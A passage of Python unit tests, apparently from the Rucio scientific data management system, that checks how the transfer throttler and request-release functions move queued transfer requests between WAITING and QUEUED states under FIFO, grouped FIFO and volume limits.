add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2018),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id2,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name2,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id3,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name3,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity2,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
request = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request['state'] == RequestState.QUEUED
request2 = get_request_by_did(self.scope, name2, self.dest_rse_id2)
assert request2['state'] == RequestState.WAITING
request3 = get_request_by_did(self.scope, name3, self.dest_rse_id3)
assert request3['state'] == RequestState.WAITING
@pytest.mark.dirty
@pytest.mark.noparallel(reason='deletes database content on setUp, uses pre-defined rses, changes global configuration value')
@pytest.mark.usefixtures("core_config_mock")
@pytest.mark.parametrize("core_config_mock", [{
"table_content": [('throttler', 'mode', 'SRC_PER_ALL_ACT')]
}], indirect=True)
class TestThrottlerFIFOSRCALLACT(unittest.TestCase):
"""Throttler per source RSE and on all activites per FIFO."""
db_session = None
@classmethod
def setUpClass(cls):
if config_get_bool('common', 'multi_vo', raise_exception=False, default=False):
cls.vo = {'vo': config_get('client', 'vo', raise_exception=False, default='tst')}
else:
cls.vo = {}
cls.dest_rse = 'MOCK'
cls.source_rse = 'MOCK4'
cls.dest_rse_id = get_rse_id(cls.dest_rse, **cls.vo)
cls.source_rse_id = get_rse_id(cls.source_rse, **cls.vo)
cls.scope = InternalScope('mock', **cls.vo)
cls.account = InternalAccount('root', **cls.vo)
cls.user_activity = 'User Subscription'
cls.all_activities = 'all_activities'
config_set('conveyor', 'use_preparer', 'true')
def setUp(self):
self.db_session = session.get_session()
self.dialect = self.db_session.bind.dialect.name
self.db_session.query(models.Request).delete()
self.db_session.query(models.RSETransferLimit).delete()
self.db_session.commit()
def tearDown(self):
self.db_session.commit()
self.db_session.close()
@classmethod
def tearDownClass(cls):
config_remove_option('conveyor', 'use_preparer')
def test_throttler_fifo_release_subset(self):
""" THROTTLER (CLIENTS): throttler release subset of waiting requests (SRC - ALL ACT - FIFO). """
if self.dialect == 'mysql':
return True
# two waiting requests and no active requests but threshold is 1 -> release only 1 request
set_rse_transfer_limits(self.source_rse_id, activity=self.all_activities, max_transfers=1, strategy='fifo', session=self.db_session)
name1 = generate_uuid()
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2018),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name2,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
request = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request['state'] == RequestState.QUEUED
request2 = get_request_by_did(self.scope, name2, self.dest_rse_id)
assert request2['state'] == RequestState.WAITING
@pytest.mark.dirty
@pytest.mark.noparallel(reason='deletes database content on setUp, uses pre-defined rses, changes global configuration value')
@pytest.mark.usefixtures("core_config_mock")
@pytest.mark.parametrize("core_config_mock", [{
"table_content": [('throttler', 'mode', 'DEST_PER_ALL_ACT')]
}], indirect=True)
class TestThrottlerFIFODESTALLACT(unittest.TestCase):
"""Throttler per destination RSE and on all activites per FIFO."""
db_session = None
@classmethod
def setUpClass(cls):
if config_get_bool('common', 'multi_vo', raise_exception=False, default=False):
cls.vo = {'vo': config_get('client', 'vo', raise_exception=False, default='tst')}
else:
cls.vo = {}
cls.dest_rse = 'MOCK'
cls.dest_rse2 = 'MOCK5'
cls.source_rse = 'MOCK4'
cls.source_rse2 = 'MOCK3'
cls.dest_rse_id = get_rse_id(cls.dest_rse, **cls.vo)
cls.dest_rse_id2 = get_rse_id(cls.dest_rse2, **cls.vo)
cls.source_rse_id = get_rse_id(cls.source_rse, **cls.vo)
cls.source_rse_id2 = get_rse_id(cls.source_rse2, **cls.vo)
cls.scope = InternalScope('mock', **cls.vo)
cls.account = InternalScope('root', **cls.vo)
cls.user_activity = 'User Subscription'
cls.user_activity2 = 'User Subscription2'
cls.all_activities = 'all_activities'
config_set('conveyor', 'use_preparer', 'true')
def setUp(self):
self.db_session = session.get_session()
self.dialect = self.db_session.bind.dialect.name
self.db_session.query(models.Request).delete()
self.db_session.query(models.RSETransferLimit).delete()
self.db_session.commit()
def tearDown(self):
self.db_session.commit()
self.db_session.close()
@classmethod
def tearDownClass(cls):
config_remove_option('conveyor', 'use_preparer')
def test_throttler_fifo_release_subset(self):
""" THROTTLER (CLIENTS): throttler release subset of waiting requests (DEST - ALL ACT - FIFO). """
if self.dialect == 'mysql':
return True
# two waiting requests and no active requests but threshold 1 for one dest RSE
# one waiting request and no active requests but threshold 0 for another dest RSE -> release only 1 request on one dest RSE
set_rse_transfer_limits(self.dest_rse_id, activity=self.all_activities, max_transfers=1, strategy='fifo', session=self.db_session)
set_rse_transfer_limits(self.dest_rse_id2, activity=self.all_activities, max_transfers=0, strategy='fifo', session=self.db_session)
name1 = generate_uuid()
name2 = generate_uuid()
name3 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id2, self.scope, name2, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2018),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id2,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name2,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity2,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id2,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name3,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity2,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
# release because max_transfers=1
request = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request['state'] == RequestState.QUEUED
# waiting because limit already exceeded
request2 = get_request_by_did(self.scope, name2, self.dest_rse_id)
assert request2['state'] == RequestState.WAITING
request3 = get_request_by_did(self.scope, name3, self.dest_rse_id2)
assert request3['state'] == RequestState.WAITING
@pytest.mark.dirty
@pytest.mark.noparallel(reason='deletes database content on setUp, uses pre-defined rses, changes global configuration value')
@pytest.mark.usefixtures("core_config_mock")
@pytest.mark.parametrize("core_config_mock", [{
"table_content": [('throttler', 'mode', 'SRC_PER_ALL_ACT')]
}], indirect=True)
class TestThrottlerGroupedFIFOSRCALLACT(unittest.TestCase):
"""Throttler per source RSE and on all activites per grouped FIFO."""
db_session = None
@classmethod
def setUpClass(cls):
if config_get_bool('common', 'multi_vo', raise_exception=False, default=False):
cls.vo = {'vo': config_get('client', 'vo', raise_exception=False, default='tst')}
else:
cls.vo = {}
cls.dest_rse = 'MOCK'
cls.source_rse = 'MOCK4'
cls.dest_rse_2 = 'MOCK3'
cls.dest_rse_id = get_rse_id(cls.dest_rse, **cls.vo)
cls.source_rse_id = get_rse_id(cls.source_rse, **cls.vo)
cls.dest_rse_id_2 = get_rse_id(cls.dest_rse_2, **cls.vo)
cls.scope = InternalScope('mock', **cls.vo)
cls.account = InternalAccount('root', **cls.vo)
cls.user_activity = 'User Subscription'
cls.all_activities = 'all_activities'
config_set('conveyor', 'use_preparer', 'true')
def setUp(self):
self.db_session = session.get_session()
self.dialect = self.db_session.bind.dialect.name
self.db_session.query(models.Request).delete()
self.db_session.query(models.RSETransferLimit).delete()
self.db_session.commit()
def tearDown(self):
self.db_session.commit()
self.db_session.close()
@classmethod
def tearDownClass(cls):
config_remove_option('conveyor', 'use_preparer')
@skiplimitedsql
def test_preparer_throttler_grouped_fifo_subset(self):
""" THROTTLER (CLIENTS): throttler release subset of waiting requests (SRC - ALL ACT - GFIFO). """
if self.dialect == 'mysql':
return True
set_rse_transfer_limits(self.source_rse_id, self.all_activities, volume=10, max_transfers=1, deadline=0, strategy='grouped_fifo', session=self.db_session)
name1 = generate_uuid()
name2 = generate_uuid()
name3 = generate_uuid()
name4 = generate_uuid()
dataset_1_name = generate_uuid()
add_did(self.scope, dataset_1_name, DIDType.DATASET, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name4, 1, self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name1, 'scope': self.scope}], self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name2, 'scope': self.scope}], self.account, session=self.db_session)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'bytes': 1,
'scope': self.scope,
'retry_count': 1,
'rule_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2000),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id_2,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name2,
'bytes': 2,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.all_activities,
'bytes': 2,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name3,
'bytes': 3,
'requested_at': datetime.now().replace(year=2021), # requested after the request below but small enough for max_volume check
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.all_activities,
'bytes': 3,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id_2,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name4,
'bytes': 3000,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 3000,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
request_1 = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request_1['state'] == RequestState.WAITING
request_2 = get_request_by_did(self.scope, name2, self.dest_rse_id_2, session=self.db_session)
assert request_2['state'] == RequestState.WAITING
request_3 = get_request_by_did(self.scope, name3, self.dest_rse_id, session=self.db_session)
assert request_3['state'] == RequestState.WAITING
request_4 = get_request_by_did(self.scope, name4, self.dest_rse_id_2, session=self.db_session)
assert request_4['state'] == RequestState.WAITING
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
# released because it got requested first
request_1 = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request_1['state'] == RequestState.QUEUED
# released because the DID is attached to the same dataset
request_2 = get_request_by_did(self.scope, name2, self.dest_rse_id_2)
assert request_2['state'] == RequestState.QUEUED
# still waiting, volume check is only working for destination RSEs (writing)
request_3 = get_request_by_did(self.scope, name3, self.dest_rse_id)
assert request_3['state'] == RequestState.WAITING
request_4 = get_request_by_did(self.scope, name4, self.dest_rse_id_2)
assert request_4['state'] == RequestState.WAITING
@pytest.mark.dirty
@pytest.mark.noparallel(reason='deletes database content on setUp, uses pre-defined rses, changes global configuration value')
@pytest.mark.usefixtures("core_config_mock")
@pytest.mark.parametrize("core_config_mock", [{
"table_content": [('throttler', 'mode', 'DEST_PER_ACT')]
}], indirect=True)
class TestRequestCoreRelease(unittest.TestCase):
"""Test release methods used in throttler."""
db_session = None
@classmethod
def setUpClass(cls):
if config_get_bool('common', 'multi_vo', raise_exception=False, default=False):
cls.vo = {'vo': config_get('client', 'vo', raise_exception=False, default='tst')}
else:
cls.vo = {}
cls.dest_rse = 'MOCK'
cls.source_rse = 'MOCK4'
cls.source_rse2 = 'MOCK5'
cls.dest_rse_id = get_rse_id(cls.dest_rse, **cls.vo)
cls.source_rse_id = get_rse_id(cls.source_rse, **cls.vo)
cls.source_rse_id2 = get_rse_id(cls.source_rse2, **cls.vo)
cls.scope = InternalScope('mock', **cls.vo)
cls.account = InternalAccount('root', **cls.vo)
cls.user_activity = 'User Subscription'
cls.all_activities = 'all_activities'
config_set('conveyor', 'use_preparer', 'true')
def setUp(self):
self.db_session = session.get_session()
self.dialect = self.db_session.bind.dialect.name
self.db_session.query(models.Request).delete()
self.db_session.query(models.RSETransferLimit).delete()
self.db_session.query(models.Distance).delete()
# set transfer limits to put requests in waiting state
set_rse_transfer_limits(self.dest_rse_id, self.user_activity, max_transfers=1, session=self.db_session)
set_rse_transfer_limits(self.dest_rse_id, self.all_activities, max_transfers=1, session=self.db_session)
set_rse_transfer_limits(self.dest_rse_id, 'ignore', max_transfers=1, session=self.db_session)
self.db_session.commit()
def tearDown(self):
self.db_session.commit()
@classmethod
def tearDownClass(cls) -> None:
config_remove_option('conveyor', 'use_preparer')
@skiplimitedsql
def test_release_waiting_requests_per_free_volume(self):
""" REQUEST (CORE): release waiting requests that fit grouped in available volume."""
# release unattached requests that fit in available volume with respect to already submitted transfers
name1 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
name3 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
request = models.Request(dest_rse_id=self.dest_rse_id, bytes=2, activity=self.all_activities, state=RequestState.SUBMITTED)
request.save(session=self.db_session)
volume = 10
set_rse_transfer_limits(self.dest_rse_id, self.all_activities, volume=volume, max_transfers=1, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2015),
'attributes': {
'activity': 'User Subscription',
'bytes': 8,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name2,
'requested_at': datetime.now().replace(year=2020),
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': 'User Subscription',
'bytes': 2,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name3,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2000),
'attributes': {
'activity': 'User Subscription',
'bytes': 10,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_per_free_volume(self.dest_rse_id, volume=volume, session=self.db_session)
# released because small enough
request = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
# still waiting because requested later and to big
request = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.WAITING
# still waiting because too big
request = get_request_by_did(self.scope, name3, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.WAITING
# release attached requests that fit together with the dataset in available volume with respect to already submitted transfers
self.db_session.query(models.Request).delete()
self.db_session.commit()
name1 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
name3 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
name4 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name4, 1, self.account, session=self.db_session)
dataset1_name = generate_uuid()
add_did(self.scope, dataset1_name, DIDType.DATASET, self.account, session=self.db_session)
attach_dids(self.scope, dataset1_name, [{'name': name1, 'scope': self.scope}, {'name': name4, 'scope': self.scope}], self.account, session=self.db_session)
dataset2_name = generate_uuid()
add_did(self.scope, dataset2_name, DIDType.DATASET, self.account, session=self.db_session)
attach_dids(self.scope, dataset2_name, [{'name': name2, 'scope': self.scope}, {'name': name3, 'scope': self.scope}], self.account, session=self.db_session)
request = models.Request(dest_rse_id=self.dest_rse_id, bytes=2, activity=self.all_activities, state=RequestState.SUBMITTED)
request.save(session=self.db_session)
volume = 10
set_rse_transfer_limits(self.dest_rse_id, self.all_activities, volume=volume, max_transfers=1, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2015),
'attributes': {
'activity': self.user_activity,
'bytes': 6,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name2,
'requested_at': datetime.now().replace(year=2020),
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 2,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name3,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2000),
'attributes': {
'activity': self.user_activity,
'bytes': 10,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name4,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2030),
'attributes': {
'activity': self.user_activity,
'bytes': 2,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_per_free_volume(self.dest_rse_id, volume=volume, session=self.db_session)
# released because dataset fits in volume
request = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
request = get_request_by_did(self.scope, name4, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
# waiting because dataset is too big
request = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.WAITING
request = get_request_by_did(self.scope, name3, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.WAITING
# release requests with no available volume -> release nothing
self.db_session.query(models.Request).delete()
self.db_session.commit()
name1 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
volume = 0
set_rse_transfer_limits(self.dest_rse_id, self.all_activities, volume=volume, max_transfers=1, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2015),
'attributes': {
'activity': self.user_activity,
'bytes': 8,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_per_free_volume(self.dest_rse_id, volume=volume, session=self.db_session)
# waiting because no available volume
request = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.WAITING
@skiplimitedsql
def test_release_waiting_requests_grouped_fifo(self):
""" REQUEST (CORE): release waiting requests based on grouped FIFO. """
# set volume and deadline to 0 to check first without releasing extra requests
set_rse_transfer_limits(self.dest_rse_id, self.all_activities, volume=0, max_transfers=1, session=self.db_session)
# one request with an unattached DID -> one request should be released
self.db_session.query(models.Request).delete()
self.db_session.commit()
name = generate_uuid()
add_replica(self.source_rse_id, self.scope, name, 1, self.account, session=self.db_session)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_grouped_fifo(self.dest_rse_id, count=1, volume=0, deadline=0, session=self.db_session)
request = get_request_by_did(self.scope, name, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
# one request with an attached DID -> one request should be released
self.db_session.query(models.Request).delete()
self.db_session.commit()
name = generate_uuid()
dataset_name = generate_uuid()
add_replica(self.source_rse_id, self.scope, name, 1, self.account, session=self.db_session)
add_did(self.scope, dataset_name, DIDType.DATASET, self.account, session=self.db_session)
attach_dids(self.scope, dataset_name, [{'name': name, 'scope': self.scope}], self.account, session=self.db_session)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name,
'rule_id': generate_uuid(),
'retry_count': 1,
'scope': self.scope,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_grouped_fifo(self.dest_rse_id, count=1, volume=0, deadline=0, session=self.db_session)
request = get_request_by_did(self.scope, name, self.dest_rse_id, session=self.db_session)
assert request['state'] == RequestState.QUEUED
# five requests with different requested_at and multiple attachments per collection -> release only one request -> two requests of one collection should be released
self.db_session.query(models.Request).delete()
self.db_session.commit()
name1 = generate_uuid()
name2 = generate_uuid()
name3 = generate_uuid()
name4 = generate_uuid()
name5 = generate_uuid()
dataset_1_name = generate_uuid()
add_did(self.scope, dataset_1_name, DIDType.DATASET, self.account, session=self.db_session)
dataset_2_name = generate_uuid()
add_did(self.scope, dataset_2_name, DIDType.DATASET, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name4, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name5, 1, self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name1, 'scope': self.scope}, {'name': name2, 'scope': self.scope}], self.account, session=self.db_session)
attach_dids(self.scope, dataset_2_name, [{'name': name3, 'scope': self.scope}, {'name': name4, 'scope': self.scope}], self.account, session=self.db_session)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'scope': self.scope,
'retry_count': 1,
'rule_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2000),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name2,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name3,
'requested_at': datetime.now().replace(year=2015),
'retry_count': 1,
'scope': self.scope,
'rule_id': generate_uuid(),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name4,
'requested_at': datetime.now().replace(year=2010),
'retry_count': 1,
'scope': self.scope,
'rule_id': generate_uuid(),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name5,
'retry_count': 1,
'requested_at': datetime.now().replace(year=2018),
'scope': self.scope,
'rule_id': generate_uuid(),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
release_waiting_requests_grouped_fifo(self.dest_rse_id, count=1, deadline=0, volume=0, session=self.db_session)
request_1 = get_request_by_did(self.scope, name1, self.dest_rse_id, session=self.db_session)
assert request_1['state'] == RequestState.QUEUED
request_2 = get_request_by_did(self.scope, name2, self.dest_rse_id, session=self.db_session)
assert request_2['state'] == RequestState.QUEUED
request_3 = get_request_by_did(self.scope, name3, self.dest_rse_id, session=self.db_session)
assert request_3['state'] == RequestState.WAITING
request_4 = get_request_by_did(self.scope, name4, self.dest_rse_id, session=self.db_session)
assert request_4['state'] == RequestState.WAITING
request_5 = get_request_by_did(self.scope, name5, self.dest_rse_id, session=self.db_session)
assert request_5['state'] == RequestState.WAITING
# with maximal volume check -> release one request -> three requests should be released because of attachments and free volume space
self.db_session.query(models.Request).delete()
self.db_session.commit()
name1 = generate_uuid()
name2 = generate_uuid()
name3 = generate_uuid()
dataset_1_name = generate_uuid()
add_did(self.scope, dataset_1_name, DIDType.DATASET, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name4, 1, self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name1, 'scope': self.scope}], self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name2, 'scope': self.scope}], self.account, session=self.db_session)
set_rse_transfer_limits(self.dest_rse_id, self.all_activities, volume=10, max_transfers=1, session=self.db_session)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'bytes': 1,
'scope': self.scope,
'retry_count': 1,
'rule_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2000),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
